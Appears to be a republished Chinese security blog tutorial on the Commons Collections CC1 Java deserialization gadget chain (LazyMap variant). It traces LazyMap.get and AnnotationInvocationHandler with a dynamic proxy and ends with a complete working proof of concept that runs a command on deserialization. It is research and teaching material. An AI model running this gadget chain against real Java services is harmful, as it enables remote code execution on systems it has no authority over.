Java安全 反序列化(4) CC1链-LazyMap版

news2024/9/21 12:36:26

Java安全 反序列化(4) CC1链-LazyMap版

实验环境:存在漏洞的版本 commons-collections3.1-3.2.1 jdk 8u71之后已修复不可利⽤

文章目录

  • Java安全 反序列化(4) CC1链-LazyMap版
  • 一.跟踪挖掘CC1_LazyMap原理
  • 二.完整CC1_Lazy版Poc

接着上一篇文章我们通过ChainedTransFormer实现任意命令执行

Transformer[] transformers=new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})

        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);

这篇文章探究从另个方向实现ChainedTransformer的执行

一.跟踪挖掘CC1_LazyMap原理

查看transformer的用法

image-20240321230450795

在LazyMap.get()方法调用了factory.transform(key)

前提是保证LazyMap中的键(Key)为空

LazyMap可以理解为"懒惰的Map集合" 本身就没有Key值的传递

这个判断是可以直接过的

image-20240321230901155

和TransformerMap一样protected构造函数(仅仅被内部访问)通过公共静态方法decorate构造image-20240321231006883

接受Map和Factory 可以尝试调用实例化后的LazyMap.get方法

 Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})

        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        HashMap<Object,Object> hashmap=new HashMap<>();
         Map<Object,Object> lazymap= LazyMap.decorate(hashmap,chainedTransformer);
         lazymap.get(1);

image-20240321232414195

现在的问题是如何调用LazyMap.get()方法

我们可以和上篇文章一样通过AnnotationInvocationHandler作为入口类

image-20240321234052996

AnnotationInvocationHandler本意就是动态代理的调用类(Invocation Hanndler)

invoke方法方法判断 进行了两个判断

第一的判断调用的方法名不能是equals

第二个判断了方法参数为0 也就是无参方法

比较巧合的一件事是在AnnotationInvocationHandler的readobject中

image-20240321234745221

可控的memberValues调用了entrySet方法

恰好是个无参方法

image-20240321234824129

那么我们的思路就非常明确了

将Map<String, Object> memberValues套一层动态代理,调用的处理类也是AnnotationInvocationHandler,就可以触发get方法实现RCE

参考上篇文章我们如何控制通过反射控制AnnotationInvocationHandler

Class annotation = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationDeclaredConstructor = annotation.getDeclaredConstructor(Class.class,Map.class);
        annotationDeclaredConstructor.setAccessible(true);
        InvocationHandler annotationInvocationHandler =(InvocationHandler) annotationDeclaredConstructor.newInstance(Target.class,lazymap);

这里创建动态代理

在运行期动态创建一个interface实例的方法如下:

  1. 定义一个InvocationHandler实例,它负责实现接口的方法调用;

  2. 通过

    Proxy.newProxyInstance()
    

    创建interface实例,它需要3个参数:

    1. 使用的ClassLoader,通常就是接口类的ClassLoader
    2. 需要实现的接口数组,至少需要传入一个接口进去;
    3. 用来处理接口方法调用的InvocationHandler实例。
  3. 将返回的Object强制转型为接口。

Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},annotationInvocationHandler);

然后再将动态代理Proxy实例化成AnnotationInvocationHandler,便于readobject自动触发 代理类 的 方法

Map<Object,Object> mapproxy = (Map<Object, Object>) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},annotationInvocationHandler);
        Object o = annotationDeclaredConstructor.newInstance(Target.class,mapproxy);

可以执行命令

image-20240322001844417

二.完整CC1_Lazy版Poc

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CC1_LazyMap {
    public static void main(String[] args) throws ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException, IOException {
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})

        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        HashMap<Object,Object> hashmap=new HashMap<>();
         Map<Object,Object> lazymap= LazyMap.decorate(hashmap,chainedTransformer);
        Class annotation = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationDeclaredConstructor = annotation.getDeclaredConstructor(Class.class,Map.class);
        annotationDeclaredConstructor.setAccessible(true);
        InvocationHandler annotationInvocationHandler =(InvocationHandler) annotationDeclaredConstructor.newInstance(Target.class,lazymap);
        Map mapproxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},annotationInvocationHandler);
        Object o = annotationDeclaredConstructor.newInstance(Target.class,mapproxy);
        serialize(o);
        unserialize();


    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new
                FileOutputStream("ser.bin"));
        oos.writeObject(obj);
        oos.close();
    }
    public static void unserialize() throws IOException, ClassNotFoundException
    {
        ObjectInputStream ois = new ObjectInputStream(new
                FileInputStream("ser.bin"));
        ois.readObject();
        ois.close();
    }
}

CC1链的Transformer和LazyMap都依赖了AnnotationInvocationHandler作为入口类, jdk 8u71之后已修复不可利⽤,因为jdk高版本后 开发者修改AnnotationInvocationHandler的代码

下篇探究CC6 实现无视JDK版本实现RCE

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1535323.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

社科赛斯考研:二十二载岁月铸辉煌,穿越周期的生命力之源

在考研培训行业的浩瀚海洋中&#xff0c;社科赛斯考研犹如一艘稳健的巨轮&#xff0c;历经二十二载风礼&#xff0c;依然破浪前行。在考研市场竞争白热化与学生对于考研机构要求越来越高的双重影响下&#xff0c;社科赛斯考研却以一种分蘖成长的姿态&#xff0c;扎根、壮大&…

JavaWeb的MVC设计模式

JavaWeb的MVC设计模式学习笔记 JSP Model1 在JSP Model1架构中&#xff0c;JSP页面既充当了视图&#xff08;View&#xff09;的角色&#xff0c;又包含了处理业务逻辑和数据处理的代码&#xff0c;承担了Controller和Model的责任。这种架构简单直接&#xff0c;适用于小型项…

C++开发基础——函数指针回调函数

一&#xff0c;函数指针 1.函数指针的概念 与数组类似&#xff0c;函数在内存中也有地址&#xff0c;函数在内存中的地址是其机器语言代码的开始位置&#xff0c;而函数指针则存储函数的内存地址作为变量。函数指针可以被当作一个值赋给另一个变量&#xff0c;也可以作为实参…

[Linux]条件变量:实现线程同步(什么是条件变量、为什么需要条件变量,怎么使用条件变量(接口)、例子,代码演示(生产者消费者模式))

目录 一、条件变量 1.什么是条件变量 故事说明 2、为什么需要使用条件变量 竞态条件 3.什么是同步 饥饿问题 二、条件变量的接口 1.pthread_cond_t 2.初始化&#xff08;pthread_cond_init&#xff09; 3.销毁&#xff08;pthread_cond_destroy&#xff09; 4.等待&…

OKR与敏捷开发、精益创业等方法如何协同工作?

在快速变化的市场环境中&#xff0c;企业需要更加灵活和高效地应对各种挑战。目标与关键成果法&#xff08;OKR&#xff09;、敏捷开发以及精益创业等方法&#xff0c;作为现代企业管理的重要工具&#xff0c;各自在推动企业发展、提高团队效率、优化产品迭代等方面发挥着不可或…

Excel 使用SQL统计表格数据

一. 需求 ⏹有如下Excel表格&#xff0c;现要求统计每个店铺的每种类别的商品总销量和最大销量 ⏹详细数据如下 店铺商品类别销量一山店苹果水果27729一山店梨水果76175一山店菠萝水果14699一山店香蕉水果61371一山店西兰花蔬菜72822一山店大白菜蔬菜65090一山店小白菜蔬菜13…

LLM - 大语言模型的分布式训练 概述

欢迎关注我的CSDN&#xff1a;https://spike.blog.csdn.net/ 本文地址&#xff1a;https://blog.csdn.net/caroline_wendy/article/details/136924304 大语言模型的分布式训练是一个复杂的过程&#xff0c;涉及到将大规模的计算任务分散到多个计算节点上。这样做的目的是为了处…

部署Prometheus+grafana详解

目录 一、prometheus 介绍 二、prometheus 对比 zabbix 三、prometheus 监控插件 四、部署 1、下载所需的包 2.编辑prometheus的配置文件 3、编辑alertmanager 的配置文件 4、tmpl 模板&#xff08;将此文件创建在/opt/alertmanager/tmpl/&#xff09; 5.启动&#xff0…

【漏洞复现】Arris 路由器 basic_sett 信息泄露漏洞

免责声明&#xff1a;文章来源互联网收集整理&#xff0c;请勿利用文章内的相关技术从事非法测试&#xff0c;由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失&#xff0c;均由使用者本人负责&#xff0c;所产生的一切不良后果与文章作者无关。该…

c++编写菱形图和计算100~200之间的素数

c编写菱形图 #include <stdio.h> int main() {int i,j,k,n;printf("请输入n:\n");scanf("%d",&n);for(i1;i<n;i){for(k1;k<n-i;k)printf(" ");for(j1;j<2*i-1;j)printf("*");printf("\n");}for(i1;i<…

计算机二级(python)【一】

真题1 1、考生文件夹下存在一个文件PY101. py&#xff0c;请写代码替换横线&#xff0c;不修改其他代码&#xff0c;实现以下功能: 键盘输入正整数n&#xff0c;按要求把n输出到屏幕&#xff0c;格式要求:宽度为20个字符&#xff0c;减号字符-填充&#xff0c;右对齐&#xf…

Sora底层技术原理:Stable Diffusion运行原理

AIGC 热潮正猛烈地席卷开来&#xff0c;可以说 Stable Diffusion 开源发布把 AI 图像生成提高了全新高度&#xff0c;特别是 ControlNet 和 T2I-Adapter 控制模块的提出进一步提高生成可控性&#xff0c;也在逐渐改变一部分行业的生产模式。惊艳其出色表现&#xff0c;也不禁好…

MD5源码(C语言描述)

本文介绍MD5源码&#xff08;C语言描述&#xff09;。 MD5(Message-Digest Algorithm 5)&#xff0c;即消息摘要算法5&#xff0c;是一种被广泛使用的消息散列算法。散列算法的基础原理是&#xff1a;将数据&#xff08;如一段文字&#xff09;经过运算转换为一段固定长度&…

使用CUDA 为Tegra构建OpenCV

返回&#xff1a;OpenCV系列文章目录&#xff08;持续更新中......&#xff09; 上一篇&#xff1a;MultiArch与Ubuntu/Debian 的交叉编译 下一篇&#xff1a;在iOS中安装 警告&#xff1a; 本教程可能包含过时的信息。 使用CUDA for Tegra 的OpenCV 本文档是构建支持 CUD…

UE5制作一条底部挂着物体的悬垂的绳子

主要涉及cable&#xff08;缆索&#xff09;组件、PhysicsConstraint&#xff08;物理约束&#xff09;组件的灵活运用&#xff0c;经过摸索&#xff0c;写下本文以供探讨。 一、关卡中制作 关卡中制作最简单 1. cable组件加入场景 打开放置Actor面板&#xff0c;在其中找到…

docker swarm 集群创建

1&#xff0c;目的&#xff1a; 通过docker swarm 工具将一台或者多台安装了docker的服务器组成一个完整的集群&#xff0c;该集群中的node节点可以通过Leader节点管理。在使用docker stack部署时&#xff0c;可以将容器自动分发到合适的节点上。 2&#xff0c;服务器准备&am…

探秘开源隐语:架构深度剖析与隐私计算技术之旅

1.隐语架构 隐语&#xff08;SecretFlow&#xff09;作为蚂蚁集团开源的可信隐私计算框架&#xff0c;其架构设计具有多层次的特点&#xff0c;虽然具体分层名称可能会根据实际描述略有差异&#xff0c;但我们可以依据已有的技术和信息对其进行结构化的拆解&#xff1a; 硬件层…

GraalVM详细安装及打包springboot、java、javafx使用教程(环境安装篇)

下一篇:GraalVM详细安装及打包springboot、java、javafx使用教程(打包普通JAVA项目篇) GraalVM介绍 GraalVM是一款由Oracle公司开发的一款具有高效性能、降低基础设施成本、支持Java发展、与其他编程语言无缝集成、创建本机镜像等优点的跨平台虚拟机。它支持多种编程语言&…

Multi-Raft 架构, 数据Shard分区,数据迁移

Raft 与 Multi Raft PingCAP TiKV课程笔记课程链接 数据是以region&#xff08;也叫Raft Group)为单位进行存储的。一个region默认会有3个副本&#xff0c;存在不同的TiKV Node上。副本中的一个节点为leader。所有的读写流量只走leader&#xff0c;leader定期向follower发送心…

谷歌应用上架,如何选择IP?

在讨论IP对于谷歌上架的重要性或影响时&#xff0c;需要明确一点&#xff1a;开发者账号质量可以直接影响上架成功率&#xff0c;而IP是影响账号质量的重要因素之一。因此&#xff0c;IP对于谷歌上架的重要性&#xff0c;不言而喻。 我们都清楚&#xff0c;谷歌是不允许一个用户…